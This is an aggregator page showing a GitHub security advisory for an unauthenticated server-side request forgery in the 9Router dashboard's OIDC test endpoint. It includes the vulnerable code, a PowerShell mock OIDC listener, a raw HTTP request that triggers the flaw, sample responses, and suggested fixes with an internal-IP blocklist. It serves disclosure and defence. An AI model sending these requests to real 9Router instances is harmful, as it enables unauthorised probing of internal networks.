Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources or documents need attention: 275/275 feeds/APIs · 469/469 docs · 9/9 advisories · checked 05:18 UTC Customize Public modeDiscuss ChangeIntel on Discord

9Router: Authenticated Server-Side Request Forgery (SSRF) via OIDC Provider Test Endpoint

Exact source revision recorded 24 Oct 2026 13:17:17 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-8g4w-4ffg-8vgx

Published

### Summary A Server-Side Request Forgery (SSRF) vulnerability exists in the 9Router dashboard via the `/api/auth/oidc/test` endpoint. The application accepts a user-controlled URL string through the `issuerUrl` parameter and performs an outbound HTTP request without validating if the destination IP belongs to a restricted internal network range. Notably, this endpoint can be accessed without active session authentication (Unauthenticated), allowing any remote actor with network visibility to the dashboard API endpoints to trigger outbound infrastructure connections. Depending on the state and response of the internal port targeted, this flaw exhibits two distinct behaviors: 1. **Port Scanning / Blind SSRF (Non-OIDC structures):** Probing internal ports that are closed or running non-HTTP/non-OIDC services (e.g., SSH, Databases) forces predictable application behavior changes (e.g., structural timeout or clear JSON parsing error messages like "Unexpected token..."), allowing internal network reconnaissance. 2. **Full Data Feed Manipulation (OIDC matching structures):** If the targeted internal service responds with a valid OpenID configuration document structure, the backend successfully processes, parses, and reflects the internal properties back to the client, confirming partial data control. --- ### Vulnerable Code Details - **Classification:** VE-Class 4 — OIDC SSRF via issuerUrl (Unauthenticated) - **File Path:** `src/app/api/auth/oidc/test/route.js` - **Vulnerable Logic:** The endpoint accepts the parameter directly from the client request and passes it directly into the network client routine without prior sanitization or middleware authentication wrapper checks. ```javascript // Vulnerable implementation wrapper inside the route handler const discovery = await fetchOidcDiscovery(issuerUrl); // Behind the scenes, this executes a direct dynamic outbound request: // -> fetch(`${issuerUrl}/.well-known/openid-configuration`) ``` An unauthenticated user can point this at any internal URL to probe internal services that respond with JSON. The discovery JSON fields (`token_endpoint`, `jwks_uri`) are then processed by the internal application logic for further operations, enabling a multi-step SSRF chain. --- ### Affected Endpoints - **Endpoint:** `/api/auth/oidc/test` - **Method:** `POST` - **Parameter:** `issuerUrl` - **Impacted Feature:** OIDC Authentication Configuration Test --- ### Impact An unauthenticated attacker can abuse this behavior to use the 9Router instance as a proxy to: - Conduct internal network topology discovery and port scanning against the hosting infrastructure (`127.0.0.1`, `10.0.0.0/8`, `192.168.0.0/16`). - Expose internal application error states or feed malicious configuration structures back into the dashboard component logic without needing prior valid session tokens. --- ### Proof of Concept & Reproducing Steps #### Step 1: Set up the Verification Environment Utilize a local mock listener on an internal port (e.g., Port 80). Run the following PowerShell script with Administrative privileges to launch the mock listener: ```powershell $port = 80 $listener = New-Object System.Net.HttpListener $listener.Prefixes.Add("http://127.0.0.1:$port/") try { $listener.Start() Write-Host "=======================================================" -ForegroundColor Cyan Write-Host " MOCK OIDC SERVER RUNNING ON PORT 80" -ForegroundColor Green Write-Host "=======================================================" -ForegroundColor Cyan while ($listener.IsListening) { $context = $listener.GetContext() $request = $context.Request Write-Host "[+] SSRF Request received for URL: $($request.Url)" -ForegroundColor Yellow $jsonPayload = '{"issuer":"http://127.0.0.1","authorization_endpoint":"http://127.0.0.1/oauth/auth","token_endpoint":"http://127.0.0.1/oauth/token","userinfo_endpoint":"EVIDENCE_SSRF_CONFIRMED_SUCCESSFULLY","jwks_uri":"http://127.0.0.1/oauth/keys"}' $response = $context.Response $response.StatusCode = 200 $response.ContentType = "application/json" $buffer = [System.Text.Encoding]::UTF8.GetBytes($jsonPayload) $response.ContentLength64 = $buffer.Length $response.OutputStream.Write($buffer, 0, $buffer.Length) $response.Close() Write-Host "[*] JSON payload sent back to 9router" -ForegroundColor Green } } catch { Write-Host "Error starting server on port 80" -ForegroundColor Red } finally { if ($listener.IsListening) { $listener.Stop() } } ``` #### Step 2: Triggering the Vulnerability via Burp Suite Send the following raw HTTP request to the 9Router instance (Notice no Cookie header is required): ```http POST /api/auth/oidc/test HTTP/1.1 Host: localhost:3000 Content-Type: application/json Connection: keep-alive Content-Length: 54 { "issuerUrl": "http://127.0.0.1:80", "clientId": "probe_only" } ``` #### Step 3: Objective Analysis of Results **Scenario A: Targeting an Unmatched/Plain Text Port** (e.g., Port returning raw strings like `"check vul"`) The server connects to the port, receives a non-JSON response, and errors out during parsing. The application response explicitly leaks the parsing failure: ```json {"error":"Unexpected token 'c', \"check vul\" is not valid JSON"} ``` > **Analysis:** This confirms the backend successfully completed an outbound TCP handshake and read the payload from the internal resource, verifying an Error-based/Blind SSRF context without any user credentials. --- **Scenario B: Targeting the Valid Mock Port** (Port 80 with the script active) The backend connects to the mock listener, successfully fetches the fake configuration data, maps the internal endpoints, and replies with an HTTP 200 OK: ```json { "ok": true, "discoveryOk": true, "issuerUrl": "http://127.0.0.1:80", "authorizationEndpoint": "http://127.0.0.1/oauth/auth", "tokenEndpoint": "http://127.0.0.1/oauth/token", "jwksUri": "http://127.0.0.1/oauth/keys" } ``` <img width="1513" height="651" alt="image" src="https://github.com/user-attachments/assets/6621f418-7a0d-4660-b301-ad37468d8d7a" /> > **Analysis:** This confirms a Full Data Feed SSRF. The internal properties parsed directly from the mock script are completely reflected back in the public client response body. --- ### Root Cause Analysis The application logic handles network requests initiated by user input inside `/api/auth/oidc/test` without validating the host destination. Additionally, the route handler lacks proper authentication middleware checks to safeguard the functionality, allowing anonymous requests to safely reach internal server loops or private IP subnets. --- ### Suggested Fix 1. **Implement Access Control:** Protect the `/api/auth/oidc/test` handler with authentication middleware to enforce valid user sessions. 2. **Enforce Protocol Controls:** Validate that `issuerUrl` strictly uses the `https://` protocol scheme before performing the fetch operation. 3. **Implement Network Blocklists:** Resolve the hostname within `issuerUrl` on the server-side before initiating the connection. Validate the resolved IP address and explicitly drop requests pointing to loopback addresses (`127.0.0.0/8`, `::1`) or internal private addresses (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`).

Source published
17 Aug 2026 21:58:43 UTC
Source modified
17 Aug 2026 22:11:02 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Publisher rating · HIGH

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 8 Nov 05:18 UTC · 275 of 275 readable · 273 fully read · documentation 469/469 current